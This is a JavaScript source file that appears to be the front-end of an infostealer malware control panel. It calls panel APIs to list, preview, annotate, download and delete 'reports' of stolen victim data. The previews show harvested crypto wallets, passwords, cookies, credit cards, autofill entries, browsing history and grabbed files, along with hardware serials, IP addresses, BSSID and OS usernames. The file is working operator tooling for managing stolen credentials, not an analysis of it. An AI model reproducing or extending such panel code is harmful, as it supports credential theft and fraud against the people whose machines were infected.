159 lines
6.6 KiB
JavaScript
159 lines
6.6 KiB
JavaScript
/* Coded by [email protected] */
|
|
|
|
document.addEventListener("DOMContentLoaded", function() {
|
|
// Init tooltips
|
|
var elems = document.querySelectorAll(".tooltipped");
|
|
var instances = M.Tooltip.init(elems, {});
|
|
// Init sidebar
|
|
var elems = document.querySelectorAll(".sidenav");
|
|
var instances = M.Sidenav.init(elems, {});
|
|
// Init modals
|
|
var elems = document.querySelectorAll(".modal");
|
|
var instances = M.Modal.init(elems);
|
|
// Init selects
|
|
var elems = document.querySelectorAll('select');
|
|
var instances = M.FormSelect.init(elems, {});
|
|
// Init dropdowns
|
|
var elems = document.querySelectorAll(".dropdown-trigger");
|
|
var instances = M.Dropdown.init(elems, {"coverTrigger": false, "closeOnClick": false});
|
|
// Send welcome toast on login and if page is not refreshed
|
|
if (window.location.search.includes("welcome") &&
|
|
performance.navigation.type != performance.navigation.TYPE_RELOAD) {
|
|
M.toast({html: `Welcome back ${username}!`});
|
|
}
|
|
});
|
|
|
|
// Sort table
|
|
function SortTable(option) {
|
|
let reverse = document.getElementById("sort_reverse").checked ? 1 : 0;
|
|
location.href = `?sort_option=${option}&reverse=${reverse}`;
|
|
}
|
|
|
|
// Search
|
|
function SearchDomains() {
|
|
let entry = document.getElementById("search_input");
|
|
location.href = "?search_domains=" + entry.value;
|
|
}
|
|
|
|
// Change report comment
|
|
function CommentReport(id) {
|
|
let entry = document.getElementById("COMMENT_INPUT_" + id);
|
|
// Invalid comment value
|
|
if (entry.value.match(/^\s+$/) !== null || entry.value === "") {
|
|
M.toast({html: "Invalid comment"});
|
|
return false;
|
|
}
|
|
// Create API request
|
|
let xhr = new XMLHttpRequest();
|
|
xhr.open("GET", "api/com_report?id=" + id + "&text=" + entry.value, false);
|
|
xhr.send();
|
|
// Handle server error
|
|
if (xhr.status !== 200) {
|
|
M.toast({html: xhr.status + ": " + xhr.statusText});
|
|
return false;
|
|
}
|
|
// Parse server response
|
|
let response = JSON.parse(xhr.responseText);
|
|
M.toast({html: response["message"]});
|
|
return true;
|
|
}
|
|
|
|
// Preview report function
|
|
function PreviewReport(id, obj) {
|
|
// Set preview value
|
|
function SetValue(id, text) {
|
|
document.getElementById("preview_" + id).innerHTML = text;
|
|
}
|
|
let xhr = new XMLHttpRequest();
|
|
xhr.open("GET", "api/get_reports?id=" + id, false);
|
|
xhr.send();
|
|
// Handle server error
|
|
if (xhr.status !== 200) {
|
|
swal(xhr.status, xhr.statusText, "error");
|
|
return false;
|
|
}
|
|
// Parse server response
|
|
let json = JSON.parse(xhr.responseText)[0];
|
|
|
|
// Counter values
|
|
SetValue("counter_wallets", "Wallets count: " + json["counter"]["wallets"]);
|
|
SetValue("counter_passwords", "Passwords count: " + json["counter"]["passwords"]);
|
|
SetValue("counter_cookies", "Cookies count: " + json["counter"]["cookies"]);
|
|
SetValue("counter_credit_cards", "Credit cards count: " + json["counter"]["credit_cards"]);
|
|
SetValue("counter_autofill", "Autofill count: " + json["counter"]["autofill"]);
|
|
SetValue("counter_history", "History count: " + json["counter"]["history"]);
|
|
SetValue("counter_grabber", "Files count: " + json["counter"]["grabber"]);
|
|
|
|
// Hardware
|
|
SetValue("info_screen", "Screen resolution: " + json["information"]["hardware"]["screen"]);
|
|
SetValue("info_ram", "Ram amount: " + json["information"]["hardware"]["ram"] + " MB");
|
|
SetValue("info_cpu_name", "Processor name: " + json["information"]["hardware"]["cpu_name"]);
|
|
SetValue("info_cpu_id", "Processor ID: " + json["information"]["hardware"]["cpu_id"]);
|
|
SetValue("info_gpu_name", "Video adapter name: " + json["information"]["hardware"]["gpu_name"]);
|
|
SetValue("info_disk_id", "HDD serial: " + json["information"]["hardware"]["disk_id"]);
|
|
SetValue("info_manufacturer", "Manufacturer: " + json["information"]["hardware"]["manufacturer"]);
|
|
// Network
|
|
SetValue("info_local_ip", "Local IP: " + json["information"]["network"]["local_ip"]);
|
|
SetValue("info_public_ip", "Public IP: " + json["geo"]["ip_address"]);
|
|
SetValue("info_gateway_ip", "Gateway IP: " + json["information"]["network"]["gateway_ip"]);
|
|
SetValue("info_bssid", "BSSID: " + json["information"]["network"]["bssid"]);
|
|
// Power
|
|
SetValue("info_power_adapter", "AC adapter connected: " + json["information"]["power"]["adapter_connected"]);
|
|
SetValue("info_battery_percentage", "Battery percentage: " + json["information"]["power"]["battery_percentage"] + "%");
|
|
// Os info
|
|
SetValue("info_os_name", "Operating system: " + json["information"]["os"]["name"]);
|
|
SetValue("info_os_username", "Username: " + json["information"]["os"]["username"]);
|
|
SetValue("info_os_machinename", "Compname: " + json["information"]["os"]["compname"]);
|
|
|
|
// Domains info
|
|
let c_area = document.getElementById("preview_cookies_list");
|
|
let p_area = document.getElementById("preview_passwords_list");
|
|
// Set values in text areas
|
|
c_area.innerHTML = json["cookies"];
|
|
p_area.innerHTML = json["passwords"];
|
|
// Resize text areas
|
|
M.textareaAutoResize(c_area)
|
|
M.textareaAutoResize(p_area)
|
|
|
|
// Add actions to buttons
|
|
document.getElementById("preview_delete_button").onclick = function() { DeleteReport(json["id"], obj); }
|
|
document.getElementById("preview_download_button").href = "/api/get_report?id=" + json["id"];
|
|
|
|
// Open modal
|
|
var instance = M.Modal.getInstance(document.querySelectorAll('#modal_preview')[0])
|
|
instance.open();
|
|
}
|
|
|
|
// Delete report function
|
|
function DeleteReport(id, obj) {
|
|
swal({
|
|
title: "Are you sure?",
|
|
text: "Once deleted, you will not be able to recover report!",
|
|
icon: "warning",
|
|
buttons: true,
|
|
dangerMode: true,
|
|
})
|
|
.then((willDelete) => {
|
|
if (willDelete) {
|
|
// Create API request
|
|
let xhr = new XMLHttpRequest();
|
|
xhr.open("GET", "api/del_report?id=" + id, false);
|
|
xhr.send();
|
|
// Handle server error
|
|
if (xhr.status !== 200) {
|
|
swal(xhr.status, xhr.statusText, "error");
|
|
return false;
|
|
}
|
|
// Parse server response
|
|
let response = JSON.parse(xhr.responseText);
|
|
// Hide report from table
|
|
if (response["error"] === false) {
|
|
obj.parentElement.parentElement.remove();
|
|
}
|
|
// Show alert
|
|
swal(response["message"], {
|
|
icon: response["error"] ? "error" : "success",
|
|
});
|
|
}
|
|
});
|
|
} |